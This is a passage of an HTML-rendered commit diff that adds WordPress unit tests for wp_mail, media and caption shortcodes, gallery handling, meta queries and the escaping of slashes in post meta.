+               $body .= '18kA6NLHAAAjxwDj28QA/s7CAP/1wQDw3r8A/9e8APrSrwDCtqoAzamjANmPiQDQj4YA35mBAOme' . "\n";
+               $body .= 'fgDHj3wA1qR6AO+sbwDpmm8A2IVlAKmEYgCvaFoAvHNXAEq2VgA5s1UAPbhQAFWtTwBStU0ARbNN' . "\n";
+               $body .= 'AEGxTQA7tEwAObZIAEq5RwDKdEYAULhDANtuQgBEtTwA1ls3ALhgMQCxNzEA2FsvAEC3LQB0MCkA' . "\n";
+               $body .= 'iyYoANZTJwDLWyYAtjMlALE6JACZNSMAuW4iANlgIgDoWCEAylwgAMUuIAD3Vh8A52gdALRCHQCx' . "\n";
+               $body .= 'WhwAsEkcALU4HACMOBwA0V4bAMYyGgCPJRoA218ZAJM7FwC/PxYA0msVAM9jFQD2XBUAqioVAIAf' . "\n";
+               $body .= 'FQDhYRQAujMTAMUxEwCgLBMAnxIPAMsqDgCkFgsA6GMHALE2BAC9JQAAliIAAFYTAAAAAAAAAAAA' . "\n";
+               $body .= 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' . "\n";
+               $body .= 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/' . "\n";
+               $body .= '//8AsbGxsbGxsbGxsbGxsbGxd7IrMg8PDw8PDw8PUBQeJXjQYE9PcKPM2NfP2sWhcg+BzTE7dLjb' . "\n";
+               $body .= 'mG03YWaV4JYye8MPbsLZlEouKRRCg9SXMoW/U53enGRAFzCRtNO7mTiAyliw30gRTg9VbJCKfYs0' . "\n";
+               $body .= 'j9VmuscfLTFbIy8SOhA0Inq5Y77GNBMYIxQUJzM2Vxx2wEmfyCYWMRldXCg5MU0aicRUms58SUVe' . "\n";
+               $body .= 'RkwjPBRSNIfBMkSgvWkyPxVHFIaMSx1/0S9nkq7WdWo1a43Jt2UqgtJERGJ5m6K8y92znpNWIYS1' . "\n";
+               $body .= 'UQ89Mmg5cXNaX0EkGyyI3KSsp6mvpaqosaatq7axsQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' . "\n";
+               $body .= 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=' . "\n";
+               $body .= '------=_Part_4892_25692638.1192452070893--' . "\n";
+               $body .= "\n";
+
+               unset($GLOBALS['phpmailer']->mock_sent);
+               $_SERVER['SERVER_NAME'] = 'example.com';
+               wp_mail($to, $subject, $body, $headers);
+
+               // We need some better assertions here but these catch the failure for now.
+               $this->assertEquals($body, $GLOBALS['phpmailer']->mock_sent[0]['body']);
+               $this->assertTrue(strpos($GLOBALS['phpmailer']->mock_sent[0]['header'], 'boundary="----=_Part_4892_25692638.1192452070893"') > 0);
+               $this->assertTrue(strpos($GLOBALS['phpmailer']->mock_sent[0]['header'], 'charset=') > 0);
+               unset( $_SERVER['SERVER_NAME'] );
+       }
+
+       /**
+        * @ticket 15448
+        */
+       function test_wp_mail_plain_and_html() {
+
+               $to = 'user@example.com';
+               $subject = 'Test email with plain text and html versions';
+               $messages = array( 'text/plain' => 'Here is some plain text.',
+                                          'text/html' =>'<html><head></head><body>Here is the HTML ;-)<body></html>' );
+
+               unset($GLOBALS['phpmailer']->mock_sent);
+               $_SERVER['SERVER_NAME'] = 'example.com';
+               wp_mail( $to, $subject, $messages );
+
+               preg_match( '/boundary="(.*)"/', $GLOBALS['phpmailer']->mock_sent[0]['header'], $matches);
+               $boundry = $matches[1];
+               $body = '--' . $boundry . '
+Content-Type: text/plain; charset = "UTF-8"
+Content-Transfer-Encoding: 8bit
+
+Here is some plain text.
+
+
+--' . $boundry . '
+Content-Type: text/html; charset = "UTF-8"
+Content-Transfer-Encoding: 8bit
+
+<html><head></head><body>Here is the HTML ;-)<body></html>
+
+
+
+--' . $boundry . '--
+';
+               // We need some better assertions here but these test the behaviour for now.
+               $this->assertEquals($body, $GLOBALS['phpmailer']->mock_sent[0]['body']);
+               unset( $_SERVER['SERVER_NAME'] );
+       }
+
+       /**
+        * @ticket 17305
+        */
+       function test_wp_mail_rfc2822_addresses() {
+
+               $to = "Name <address@tld.com>";
+               $from = "Another Name <another_address@different-tld.com>";
+               $cc = "The Carbon Guy <cc@cc.com>";
+               $bcc = "The Blind Carbon Guy <bcc@bcc.com>";
+               $subject = "RFC2822 Testing";
+               $message = "My RFC822 Test Message";
+               $headers[] = "From: {$from}";
+               $headers[] = "CC: {$cc}";
+               $headers[] = "BCC: {$bcc}";
+
+               unset($GLOBALS['phpmailer']->mock_sent);
+               $_SERVER['SERVER_NAME'] = 'example.com';
+               wp_mail( $to, $subject, $message, $headers );
+
+               // WordPress 3.2 and later correctly split the address into the two parts and send them seperately to PHPMailer
+               // Earlier versions of PHPMailer were not touchy about the formatting of these arguments.
+               if ( version_compare( $GLOBALS['wp_version'], '3.1.9', '>' ) ) {
+                       $this->assertEquals('address@tld.com', $GLOBALS['phpmailer']->mock_sent[0]['to'][0][0]);
+                       $this->assertEquals('Name', $GLOBALS['phpmailer']->mock_sent[0]['to'][0][1]);
+                       $this->assertEquals('cc@cc.com', $GLOBALS['phpmailer']->mock_sent[0]['cc'][0][0]);
+                       $this->assertEquals('The Carbon Guy', $GLOBALS['phpmailer']->mock_sent[0]['cc'][0][1]);
+                       $this->assertEquals('bcc@bcc.com', $GLOBALS['phpmailer']->mock_sent[0]['bcc'][0][0]);
+                       $this->assertEquals('The Blind Carbon Guy', $GLOBALS['phpmailer']->mock_sent[0]['bcc'][0][1]);
+               } else {
+                       $this->assertEquals($to, $GLOBALS['phpmailer']->mock_sent[0]['to'][0][0]);
+                       $this->assertEquals($cc, $GLOBALS['phpmailer']->mock_sent[0]['cc'][0][0]);
+                       $this->assertEquals($bcc, $GLOBALS['phpmailer']->mock_sent[0]['bcc'][0][0]);
+               }
+
+               $this->assertEquals($message . "\n", $GLOBALS['phpmailer']->mock_sent[0]['body']);
+               unset( $_SERVER['SERVER_NAME'] );
+       }
+
+       /**
+        * @ticket 17305
+        */
+       function test_wp_mail_multiple_rfc2822_to_addresses() {
+
+               $to = "Name <address@tld.com>, Another Name <another_address@different-tld.com>";
+               $subject = "RFC2822 Testing";
+               $message = "My RFC822 Test Message";
+
+               unset($GLOBALS['phpmailer']->mock_sent);
+               $_SERVER['SERVER_NAME'] = 'example.com';
+               wp_mail( $to, $subject, $message );
+
+               // WordPress 3.2 and later correctly split the address into the two parts and send them seperately to PHPMailer
+               // Earlier versions of PHPMailer were not touchy about the formatting of these arguments.
+               if ( version_compare( $GLOBALS['wp_version'], '3.1.9', '>' ) ) {
+                       $this->assertEquals('address@tld.com', $GLOBALS['phpmailer']->mock_sent[0]['to'][0][0]);
+                       $this->assertEquals('Name', $GLOBALS['phpmailer']->mock_sent[0]['to'][0][1]);
+                       $this->assertEquals('another_address@different-tld.com', $GLOBALS['phpmailer']->mock_sent[0]['to'][1][0]);
+                       $this->assertEquals('Another Name', $GLOBALS['phpmailer']->mock_sent[0]['to'][1][1]);
+               } else {
+                       $this->assertEquals('Name <address@tld.com>', $GLOBALS['phpmailer']->mock_sent[0]['to'][0][0]);
+                       $this->assertEquals('Another Name <another_address@different-tld.com>', $GLOBALS['phpmailer']->mock_sent[0]['to'][1][0]);
+               }
+
+               $this->assertEquals($message . "\n", $GLOBALS['phpmailer']->mock_sent[0]['body']);
+               unset( $_SERVER['SERVER_NAME'] );
+       }
+
+       function test_wp_mail_multiple_to_addresses() {
+               $to = "address@tld.com, another_address@different-tld.com";
+               $subject = "RFC2822 Testing";
+               $message = "My RFC822 Test Message";
+
+               unset($GLOBALS['phpmailer']->mock_sent);
+               $_SERVER['SERVER_NAME'] = 'example.com';
+               wp_mail( $to, $subject, $message );
+
+               $this->assertEquals('address@tld.com', $GLOBALS['phpmailer']->mock_sent[0]['to'][0][0]);
+               $this->assertEquals('another_address@different-tld.com', $GLOBALS['phpmailer']->mock_sent[0]['to'][1][0]);
+               $this->assertEquals($message . "\n", $GLOBALS['phpmailer']->mock_sent[0]['body']);
+               unset( $_SERVER['SERVER_NAME'] );
+       }
+
+       /**
+        * @ticket 18463
+        */
+       function test_wp_mail_to_address_no_name() {
+
+               $to = "<address@tld.com>";
+               $subject = "RFC2822 Testing";
+               $message = "My RFC822 Test Message";
+
+               unset($GLOBALS['phpmailer']->mock_sent);
+               $_SERVER['SERVER_NAME'] = 'example.com';
+               wp_mail( $to, $subject, $message );
+
+               // Old PHPMailer blindly accepts the address, the new one santizes it
+               if ( version_compare( $GLOBALS['wp_version'], '3.1.9', '>' ) )
+                       $this->assertEquals('address@tld.com', $GLOBALS['phpmailer']->mock_sent[0]['to'][0][0]);
+               else
+                       $this->assertEquals('<address@tld.com>', $GLOBALS['phpmailer']->mock_sent[0]['to'][0][0]);
+               $this->assertEquals($message . "\n", $GLOBALS['phpmailer']->mock_sent[0]['body']);
+               unset( $_SERVER['SERVER_NAME'] );
+       }
+
+       /**
+        * @ticket 23642
+        */
+       function test_wp_mail_return_value() {
+               // No errors
+               $this->assertTrue( wp_mail( 'valid@address.com', 'subject', 'body' ) );
+
+               // Non-fatal errors
+               $this->assertTrue( wp_mail( 'valid@address.com', 'subject', 'body', "Cc: invalid-address\nBcc: @invalid.address", ABSPATH . '/non-existant-file.html' ) );
+
+               // Fatal errors
+               $this->assertFalse( wp_mail( 'invalid.address', 'subject', 'body', '', array() ) );
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsmediaphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/media.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/media.php                              (rev 0)
+++ trunk/tests/tests/media.php 2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,343 @@
</span><ins>+<?php
+
+/**
+ * @group media
+ * @group shortcode
+ */
+class Tests_Media extends WP_UnitTestCase {
+
+  function setUp() {
+    parent::setUp();
+    $this->caption = 'A simple caption.';
+    $this->html_content = <<<CAP
+A <strong class='classy'>bolded</strong> <em>caption</em> with a <a href="#">link</a>.
+CAP;
+    $this->img_content = <<<CAP
+<img src="pic.jpg" id='anId' alt="pic"/>
+CAP;
+       $this->img_name = 'image.jpg';
+       $this->img_url = 'http://' . WP_TESTS_DOMAIN . '/wp-content/uploads/' . $this->img_name;
+       $this->img_html = '<img src="' . $this->img_url . '"/>';
+       $this->img_dimensions = array( 'width' => 100, 'height' => 100 );
+  }
+
+  function test_img_caption_shortcode_added() {
+    global $shortcode_tags;
+    $this->assertEquals( 'img_caption_shortcode', $shortcode_tags['caption'] );
+    $this->assertEquals( 'img_caption_shortcode', $shortcode_tags['wp_caption'] );
+  }
+
+  function test_img_caption_shortcode_with_empty_params() {
+    $result = img_caption_shortcode( array() );
+    $this->assertNull( $result );
+  }
+
+  function test_img_caption_shortcode_with_bad_attr() {
+    $result = img_caption_shortcode( array(), 'content' );
+    $this->assertEquals( 'content', 'content' );
+  }
+
+  function test_img_caption_shortcode_with_old_format() {
+    $result = img_caption_shortcode(
+      array( 'width' => 20, 'caption' => $this->caption )
+    );
+    $this->assertEquals( 2, preg_match_all( '/wp-caption/', $result, $_r ) );
+    $this->assertEquals( 1, preg_match_all( '/alignnone/', $result, $_r ) );
+    $this->assertEquals( 1, preg_match_all( "/{$this->caption}/", $result, $_r ) );
+    $this->assertEquals( 1, preg_match_all( "/width: 30/", $result, $_r ) );
+  }
+
+  function test_img_caption_shortcode_with_old_format_id_and_align() {
+    $result = img_caption_shortcode(
+      array(
+        'width' => 20,
+        'caption' => $this->caption,
+        'id' => '"myId',
+        'align' => '&myAlignment'
+      )
+    );
+    $this->assertEquals( 1, preg_match_all( '/wp-caption &amp;myAlignment/', $result, $_r ) );
+    $this->assertEquals( 1, preg_match_all( '/id="&quot;myId"/', $result, $_r ) );
+    $this->assertEquals( 1, preg_match_all( "/{$this->caption}/", $result, $_r ) );
+  }
+
+  function test_new_img_caption_shortcode_with_html_caption() {
+    $result = img_caption_shortcode(
+      array( 'width' => 20, 'caption' => $this->html_content )
+    );
+    $our_preg = preg_quote( $this->html_content );
+
+    $this->assertEquals( 1, preg_match_all( "~{$our_preg}~", $result, $_r ) );
+  }
+
+  function test_new_img_caption_shortcode_new_format() {
+    $result = img_caption_shortcode(
+      array( 'width' => 20 ),
+      $this->img_content . $this->html_content
+    );
+    $img_preg = preg_quote( $this->img_content );
+    $content_preg = preg_quote( $this->html_content );
+
+    $this->assertEquals( 1, preg_match_all( "~{$img_preg}.*wp-caption-text~", $result, $_r ) );
+    $this->assertEquals( 1, preg_match_all( "~wp-caption-text.*{$content_preg}~", $result, $_r ) );
+  }
+
+  function test_new_img_caption_shortcode_new_format_and_linked_image() {
+    $linked_image = "<a href='#'>{$this->img_content}</a>";
+    $result = img_caption_shortcode(
+      array( 'width' => 20 ),
+      $linked_image . $this->html_content
+    );
+    $img_preg = preg_quote( $linked_image );
+    $content_preg = preg_quote( $this->html_content );
+
+    $this->assertEquals( 1, preg_match_all( "~{$img_preg}.*wp-caption-text~", $result, $_r ) );
+    $this->assertEquals( 1, preg_match_all( "~wp-caption-text.*{$content_preg}~", $result, $_r ) );
+  }
+
+  function test_new_img_caption_shortcode_new_format_and_linked_image_with_newline() {
+    $linked_image = "<a href='#'>{$this->img_content}</a>";
+    $result = img_caption_shortcode(
+      array( 'width' => 20 ),
+      $linked_image . "\n\n" . $this->html_content
+    );
+    $img_preg = preg_quote( $linked_image );
+    $content_preg = preg_quote( $this->html_content );
+
+    $this->assertEquals( 1, preg_match_all( "~{$img_preg}.*wp-caption-text~", $result, $_r ) );
+    $this->assertEquals( 1, preg_match_all( "~wp-caption-text.*{$content_preg}~", $result, $_r ) );
+  }
+
+       function test_add_remove_oembed_provider() {
+               wp_oembed_add_provider( 'http://foo.bar/*', 'http://foo.bar/oembed' );
+               $this->assertTrue( wp_oembed_remove_provider( 'http://foo.bar/*' ) );
+               $this->assertFalse( wp_oembed_remove_provider( 'http://foo.bar/*' ) );
+       }
+
+       function test_wp_prepare_attachment_for_js() {
+               // Attachment without media
+               $id = wp_insert_attachment(array(
+                       'post_status' => 'publish',
+                       'post_title' => 'Prepare',
+                       'post_content_filtered' => 'Prepare',
+                       'post_type' => 'post'
+               ));
+               $post = get_post( $id );
+
+               $prepped = wp_prepare_attachment_for_js( $post );
+               $this->assertInternalType( 'array', $prepped );
+               $this->assertEquals( 0, $prepped['uploadedTo'] );
+               $this->assertEquals( '', $prepped['mime'] );
+               $this->assertEquals( '', $prepped['type'] );
+               $this->assertEquals( '', $prepped['subtype'] );
+               $this->assertEquals( '', $prepped['url'] );
+               $this->assertEquals( site_url( 'wp-includes/images/crystal/default.png' ), $prepped['icon'] );
+
+               // Fake a mime
+               $post->post_mime_type = 'image/jpeg';
+               $prepped = wp_prepare_attachment_for_js( $post );
+               $this->assertEquals( 'image/jpeg', $prepped['mime'] );
+               $this->assertEquals( 'image', $prepped['type'] );
+               $this->assertEquals( 'jpeg', $prepped['subtype'] );
+
+               // Fake a mime without a slash. See #WP22532
+               $post->post_mime_type = 'image';
+               $prepped = wp_prepare_attachment_for_js( $post );
+               $this->assertEquals( 'image', $prepped['mime'] );
+               $this->assertEquals( 'image', $prepped['type'] );
+               $this->assertEquals( '', $prepped['subtype'] );
+       }
+
+       /**
+        * @ticket 19067
+        */
+       function test_wp_convert_bytes_to_hr() {
+               $kb = 1024;
+               $mb = $kb * 1024;
+               $gb = $mb * 1024;
+               $tb = $gb * 1024;
+
+               // test if boundaries are correct
+               $this->assertEquals( '1TB', wp_convert_bytes_to_hr( $tb ) );
+               $this->assertEquals( '1GB', wp_convert_bytes_to_hr( $gb ) );
+               $this->assertEquals( '1MB', wp_convert_bytes_to_hr( $mb ) );
+               $this->assertEquals( '1kB', wp_convert_bytes_to_hr( $kb ) );
+
+               // now some values around
+               $hr = wp_convert_bytes_to_hr( $tb + $tb / 2 + $mb );
+               $this->assertTrue( abs( 1.50000095367 - (float) str_replace( ',', '.', $hr ) ) < 0.0001 );
+
+               $hr = wp_convert_bytes_to_hr( $tb - $mb - $kb );
+               $this->assertTrue( abs( 1023.99902248 - (float) str_replace( ',', '.', $hr ) ) < 0.0001 );
+
+               $hr = wp_convert_bytes_to_hr( $gb + $gb / 2 + $mb );
+               $this->assertTrue( abs( 1.5009765625 - (float) str_replace( ',', '.', $hr ) ) < 0.0001 );
+
+               $hr = wp_convert_bytes_to_hr( $gb - $mb - $kb );
+               $this->assertTrue( abs( 1022.99902344 - (float) str_replace( ',', '.', $hr ) ) < 0.0001 );
+
+               // edge
+               $this->assertEquals( '-1B', wp_convert_bytes_to_hr( -1 ) );
+               $this->assertEquals( '0B', wp_convert_bytes_to_hr( 0 ) );
+       }
+
+       /**
+        * @ticket 22960
+        */
+       function test_get_attached_images() {
+               $post_id = $this->factory->post->create();
+               $attachment_id = $this->factory->attachment->create_object( $this->img_name, $post_id, array(
+                       'post_mime_type' => 'image/jpeg',
+                       'post_type' => 'attachment'
+               ) );
+
+               $images = get_attached_media( 'image', $post_id );
+               $this->assertEquals( $images, array( $attachment_id => get_post( $attachment_id ) ) );
+       }
+
+       /**
+        * @ticket 22960
+        */
+       function test_post_galleries_images() {
+               $ids1 = array();
+               $ids1_srcs = array();
+               foreach ( range( 1, 3 ) as $i ) {
+                       $attachment_id = $this->factory->attachment->create_object( "image$i.jpg", 0, array(
+                               'post_mime_type' => 'image/jpeg',
+                               'post_type' => 'attachment'
+                       ) );
+                       wp_update_attachment_metadata( $attachment_id, $this->img_dimensions );
+                       $ids1[] = $attachment_id;
+                       $ids1_srcs[] = 'http://' . WP_TESTS_DOMAIN . '/wp-content/uploads/' . "image$i.jpg";
+               }
+
+               $ids2 = array();
+               $ids2_srcs = array();
+               foreach ( range( 4, 6 ) as $i ) {
+                       $attachment_id = $this->factory->attachment->create_object( "image$i.jpg", 0, array(
+                               'post_mime_type' => 'image/jpeg',
+                               'post_type' => 'attachment'
+                       ) );
+                       wp_update_attachment_metadata( $attachment_id, $this->img_dimensions );
+                       $ids2[] = $attachment_id;
+                       $ids2_srcs[] = 'http://' . WP_TESTS_DOMAIN . '/wp-content/uploads/' . "image$i.jpg";
+               }
+
+               $ids1_joined = join( ',', $ids1 );
+               $ids2_joined = join( ',', $ids2 );
+
+               $blob =<<<BLOB
+[gallery ids="$ids1_joined"]
+
+[gallery ids="$ids2_joined"]
+BLOB;
+               $post_id = $this->factory->post->create( array( 'post_content' => $blob ) );
+               $srcs = get_post_galleries_images( $post_id );
+               $this->assertEquals( $srcs, array( $ids1_srcs, $ids2_srcs ) );
+       }
+
+       /**
+        * @ticket 22960
+        */
+       function test_post_gallery_images() {
+               $ids1 = array();
+               $ids1_srcs = array();
+               foreach ( range( 1, 3 ) as $i ) {
+                       $attachment_id = $this->factory->attachment->create_object( "image$i.jpg", 0, array(
+                               'post_mime_type' => 'image/jpeg',
+                               'post_type' => 'attachment'
+                       ) );
+                       wp_update_attachment_metadata( $attachment_id, $this->img_dimensions );
+                       $ids1[] = $attachment_id;
+                       $ids1_srcs[] = 'http://' . WP_TESTS_DOMAIN . '/wp-content/uploads/' . "image$i.jpg";
+               }
+
+               $ids2 = array();
+               $ids2_srcs = array();
+               foreach ( range( 4, 6 ) as $i ) {
+                       $attachment_id = $this->factory->attachment->create_object( "image$i.jpg", 0, array(
+                               'post_mime_type' => 'image/jpeg',
+                               'post_type' => 'attachment'
+                       ) );
+                       wp_update_attachment_metadata( $attachment_id, $this->img_dimensions );
+                       $ids2[] = $attachment_id;
+                       $ids2_srcs[] = 'http://' . WP_TESTS_DOMAIN . '/wp-content/uploads/' . "image$i.jpg";
+               }
+
+               $ids1_joined = join( ',', $ids1 );
+               $ids2_joined = join( ',', $ids2 );
+
+               $blob =<<<BLOB
+[gallery ids="$ids1_joined"]
+
+[gallery ids="$ids2_joined"]
+BLOB;
+               $post_id = $this->factory->post->create( array( 'post_content' => $blob ) );
+               $srcs = get_post_gallery_images( $post_id );
+               $this->assertEquals( $srcs, $ids1_srcs );
+       }
+
+       function test_get_media_embedded_in_content() {
+               $object =<<<OBJ
+<object src="this" data="that">
+       <param name="value"/>
+</object>
+OBJ;
+               $embed =<<<EMBED
+<embed src="something.mp4"/>
+EMBED;
+               $iframe =<<<IFRAME
+<iframe src="youtube.com" width="7000" />
+IFRAME;
+               $audio =<<<AUDIO
+<audio preload="none">
+       <source />
+</audio>
+AUDIO;
+               $video =<<<VIDEO
+<video preload="none">
+       <source />
+</video>
+VIDEO;
+
+               $content =<<<CONTENT
+This is a comment
+$object
+
+This is a comment
+$embed
+
+This is a comment
+$iframe
+
+This is a comment
+$audio
+
+This is a comment
+$video
+
+This is a comment
+CONTENT;
+
+               $types = array( 'audio', 'video', 'object', 'embed', 'iframe' );
+               $contents = array_values( compact( $types ) );
+
+               $matches = get_media_embedded_in_content( $content, 'audio' );
+               $this->assertEquals( array( $audio ), $matches );
+
+               $matches = get_media_embedded_in_content( $content, 'video' );
+               $this->assertEquals( array( $video ), $matches );
+
+               $matches = get_media_embedded_in_content( $content, 'object' );
+               $this->assertEquals( array( $object ), $matches );
+
+               $matches = get_media_embedded_in_content( $content, 'embed' );
+               $this->assertEquals( array( $embed ), $matches );
+
+               $matches = get_media_embedded_in_content( $content, 'iframe' );
+               $this->assertEquals( array( $iframe ), $matches );
+
+               $matches = get_media_embedded_in_content( $content, $types );
+               $this->assertEquals( $contents, $matches );
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsmetaqueryphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/meta/query.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/meta/query.php                         (rev 0)
+++ trunk/tests/tests/meta/query.php    2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,108 @@
</span><ins>+<?php
+/**
+ * Test WP_Meta_Query, in wp-includes/meta.php
+ *
+ * @group meta
+ */
+class Tests_Meta_Query extends WP_UnitTestCase {
+
+       function test_default_relation() {
+               $query = new WP_Meta_Query( array( array( 'key' => 'abc' ) ) );
+
+               $this->assertEquals( 'AND', $query->relation );
+       }
+
+       function test_set_relation() {
+
+               $query = new WP_Meta_Query( array( array( 'key' => 'abc' ), 'relation' => 'AND' ) );
+
+               $this->assertEquals( 'AND', $query->relation );
+
+               $query = new WP_Meta_Query( array( array( 'key' => 'abc' ), 'relation' => 'OR' ) );
+
+               $this->assertEquals( 'OR', $query->relation );
+       }
+
+       /**
+        * Test all key only meta queries use the same INNER JOIN when using relation=OR
+        *
+        * @ticket 19729
+        */
+       function test_single_inner_join_for_keys_only() {
+
+               global $wpdb;
+
+               $query = new WP_Meta_Query( array(
+                       array( 'key' => 'abc' ),
+                       array( 'key' => 'def' ),
+                       'relation' => 'OR'
+               ) );
+
+               $sql = $query->get_sql( 'post', $wpdb->posts, 'ID' );
+
+               $this->assertEquals( 1, substr_count( $sql['join'], 'INNER JOIN' ) );
+
+               // also check mixing key and key => value
+
+               $query = new WP_Meta_Query( array(
+                       array( 'key' => 'abc' ),
+                       array( 'key' => 'def' ),
+                       array( 'key' => 'ghi', 'value' => 'abc' ),
+                       'relation' => 'OR'
+               ) );
+
+               $sql = $query->get_sql( 'post', $wpdb->posts, 'ID' );
+
+               $this->assertEquals( 2, substr_count( $sql['join'], 'INNER JOIN' ) );
+       }
+
+       /**
+        * Test the conversion between "WP_Query" style meta args (meta_value=x&meta_key=y)
+        * to a meta query array
+        */
+       function test_parse_query_vars() {
+
+               $query = new WP_Meta_Query();
+
+               // just meta_value
+               $query->parse_query_vars( array( 'meta_key' => 'abc' ) );
+
+               $this->assertEquals( array( array( 'key' => 'abc' ) ), $query->queries );
+
+               // meta_key & meta_value
+               $query->parse_query_vars( array( 'meta_key' => 'abc', 'meta_value' => 'def' ) );
+
+               $this->assertEquals( array( array( 'key' => 'abc', 'value' => 'def' ) ), $query->queries );
+
+               // meta_compare
+               $query->parse_query_vars( array( 'meta_key' => 'abc', 'meta_compare' => '=>' ) );
+
+               $this->assertEquals( array( array( 'key' => 'abc', 'compare' => '=>' ) ), $query->queries );
+       }
+
+       /**
+        * @ticket 22096
+        */
+       function test_empty_value_sql() {
+               global $wpdb;
+
+               $query = new WP_Meta_Query();
+
+               $the_complex_query['meta_query'] = array(
+                       array( 'key' => 'my_first_key', 'value' => 'my_amazing_value' ),
+                       array( 'key' => 'my_second_key', 'compare' => 'NOT EXISTS' ),
+                       array( 'key' => 'my_third_key', 'value' => array( ), 'compare' => 'IN' ),
+               );
+
+               $query->parse_query_vars( $the_complex_query );
+
+               $sql = $query->get_sql( 'post', $wpdb->posts, 'ID', $this );
+
+               // We should have 2 joins - one for my_first_key and one for my_second_key
+               $this->assertEquals( 2, substr_count( $sql['join'], 'INNER JOIN' ) );
+
+               // The WHERE should check my_third_key against an unaliased table
+               $this->assertEquals( 1, substr_count( $sql['where'], "$wpdb->postmeta.meta_key = 'my_third_key'" ) );
+
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsmetaslashesphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/meta/slashes.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/meta/slashes.php                               (rev 0)
+++ trunk/tests/tests/meta/slashes.php  2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,275 @@
</span><ins>+<?php
+
+/**
+ * @group meta
+ * @group slashes
+ * @ticket 21767
+ */
+class Tests_Meta_Slashes extends WP_UnitTestCase {
+       function setUp() {
+               parent::setUp();
+               $this->author_id = $this->factory->user->create( array( 'role' => 'editor' ) );
+               $this->old_current_user = get_current_user_id();
+               wp_set_current_user( $this->author_id );
+
+               $this->slash_1 = 'String with 1 slash \\';
+               $this->slash_2 = 'String with 2 slashes \\\\';
+               $this->slash_3 = 'String with 3 slashes \\\\\\';
+               $this->slash_4 = 'String with 4 slashes \\\\\\\\';
+               $this->slash_5 = 'String with 5 slashes \\\\\\\\\\';
+               $this->slash_6 = 'String with 6 slashes \\\\\\\\\\\\';
+               $this->slash_7 = 'String with 7 slashes \\\\\\\\\\\\\\';
+       }
+
+       function tearDown() {
+               wp_set_current_user( $this->old_current_user );
+               parent::tearDown();
+       }
+
+       /**
+        * Tests the controller function that expects slashed data
+        *
+        */
+       function test_edit_post() {
+               $id = $this->factory->post->create();
+               if ( function_exists( 'wp_add_post_meta' ) ) {
+                       $meta_1 = wp_add_post_meta( $id, 'slash_test_1', 'foo' );
+                       $meta_2 = wp_add_post_meta( $id, 'slash_test_2', 'foo' );
+                       $meta_3 = wp_add_post_meta( $id, 'slash_test_3', 'foo' );
+               }
+               else {
+                       // expects slashed data
+                       $meta_1 = add_post_meta( $id, 'slash_test_1', addslashes( 'foo' ) );
+                       $meta_2 = add_post_meta( $id, 'slash_test_2', addslashes( 'foo' ) );
+                       $meta_3 = add_post_meta( $id, 'slash_test_3', addslashes( 'foo' ) );
+               }
+
+               $_POST = array();
+               $_POST['post_ID'] = $id;
+               $_POST['metakeyselect'] = '#NONE#';
+               $_POST['metakeyinput'] = 'slash_test_0';
+               $_POST['metavalue'] = $this->slash_6;
+               $_POST['meta'] = array(
+                       $meta_1 => array(
+                               'key' => 'slash_test_1',
+                               'value' => $this->slash_1
+                       ),
+                       $meta_2 => array(
+                               'key' => 'slash_test_2',
+                               'value' => $this->slash_3
+                       ),
+                       $meta_3 => array(
+                               'key' => 'slash_test_3',
+                               'value' => $this->slash_4
+                       ),
+               );
+               $_POST = add_magic_quotes( $_POST ); // the edit_post() function will strip slashes
+
+               edit_post();
+               $post = get_post( $id );
+
+               $this->assertEquals( $this->slash_6, get_post_meta( $id, 'slash_test_0', true ) );
+               $this->assertEquals( $this->slash_1, get_post_meta( $id, 'slash_test_1', true ) );
+               $this->assertEquals( $this->slash_3, get_post_meta( $id, 'slash_test_2', true ) );
+               $this->assertEquals( $this->slash_4, get_post_meta( $id, 'slash_test_3', true ) );
+
+               $_POST = array();
+               $_POST['post_ID'] = $id;
+               $_POST['metakeyselect'] = '#NONE#';
+               $_POST['metakeyinput'] = 'slash_test_0';
+               $_POST['metavalue'] = $this->slash_7;
+               $_POST['meta'] = array(
+                       $meta_1 => array(
+                               'key' => 'slash_test_1',
+                               'value' => $this->slash_2
+                       ),
+                       $meta_2 => array(
+                               'key' => 'slash_test_2',
+                               'value' => $this->slash_4
+                       ),
+                       $meta_3 => array(
+                               'key' => 'slash_test_3',
+                               'value' => $this->slash_5
+                       ),
+               );
+               $_POST = add_magic_quotes( $_POST ); // the edit_post() function will strip slashes
+
+               edit_post();
+               $post = get_post( $id );
+
+               $this->assertEquals( $this->slash_2, get_post_meta( $id, 'slash_test_1', true ) );
+               $this->assertEquals( $this->slash_4, get_post_meta( $id, 'slash_test_2', true ) );
+               $this->assertEquals( $this->slash_5, get_post_meta( $id, 'slash_test_3', true ) );
+       }
+
+       /**
+        * Tests the legacy model function that expects slashed data
+        *
+        */
+       function test_add_post_meta() {
+               $id = $this->factory->post->create();
+               add_post_meta( $id, 'slash_test_1', addslashes( $this->slash_1 ) );
+               add_post_meta( $id, 'slash_test_2', addslashes( $this->slash_3 ) );
+               add_post_meta( $id, 'slash_test_3', addslashes( $this->slash_4 ) );
+
+               $this->assertEquals( $this->slash_1, get_post_meta( $id, 'slash_test_1', true ) );
+               $this->assertEquals( $this->slash_3, get_post_meta( $id, 'slash_test_2', true ) );
+               $this->assertEquals( $this->slash_4, get_post_meta( $id, 'slash_test_3', true ) );
+       }
+
+       /**
+        * Tests the legacy model function that expects slashed data
+        *
+        */
